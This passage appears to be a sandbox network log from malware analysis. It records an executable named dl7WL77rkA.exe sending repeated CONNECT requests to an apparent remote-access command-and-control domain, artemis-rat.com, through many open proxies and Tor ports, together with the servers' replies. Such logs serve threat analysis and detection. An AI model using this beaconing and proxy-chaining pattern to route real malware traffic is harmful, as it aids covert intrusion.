3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1069	192.168.2.5	52897	104.27.26.29	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.040961027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.195732117 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1070	192.168.2.5	52824	162.55.87.48	5566	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.043464899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.382395029 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1071	192.168.2.5	52819	223.215.177.228	8089	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.043466091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.565848112 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1072	192.168.2.5	52818	1.15.62.12	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.043894053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1073	192.168.2.5	52801	106.14.124.29	81	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.056093931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.391264915 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1074	192.168.2.5	52892	38.54.101.254	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.058655977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.241142988 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1075	192.168.2.5	52989	43.153.52.170	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.064790964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1076	192.168.2.5	52825	159.223.71.71	59243	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.066046000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.806338072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.939340115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.014879942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.202095032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.311523914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.405203104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1077	192.168.2.5	53008	43.153.52.170	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.074038029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1078	192.168.2.5	53009	43.153.52.170	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.076236010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1079	192.168.2.5	52934	185.162.228.170	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.076240063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.232664108 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1080	192.168.2.5	52923	162.159.242.252	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.076555014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.239352942 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1081	192.168.2.5	53010	43.153.52.170	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.077754021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1082	192.168.2.5	52925	50.63.12.33	50781	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.080882072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.635445118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.217727900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.311459064 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405622959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.487530947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.608329058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.905105114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1083	192.168.2.5	52886	162.241.158.204	31794	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.081010103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.635632038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.355353117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.694957972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.202255964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1084	192.168.2.5	52809	182.78.42.112	82	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.093067884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.905057907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.092787981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.405407906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.889580011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1085	192.168.2.5	52894	45.196.148.8	5432	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.107762098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.326488972 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 02:30:42 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1086	192.168.2.5	50963	51.158.108.165	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.109024048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.238643885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.311383963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.311541080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1087	192.168.2.5	52830	45.11.95.165	5038	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.115401030 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1088	192.168.2.5	52870	47.93.121.200	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:42.116410971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.434758902 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 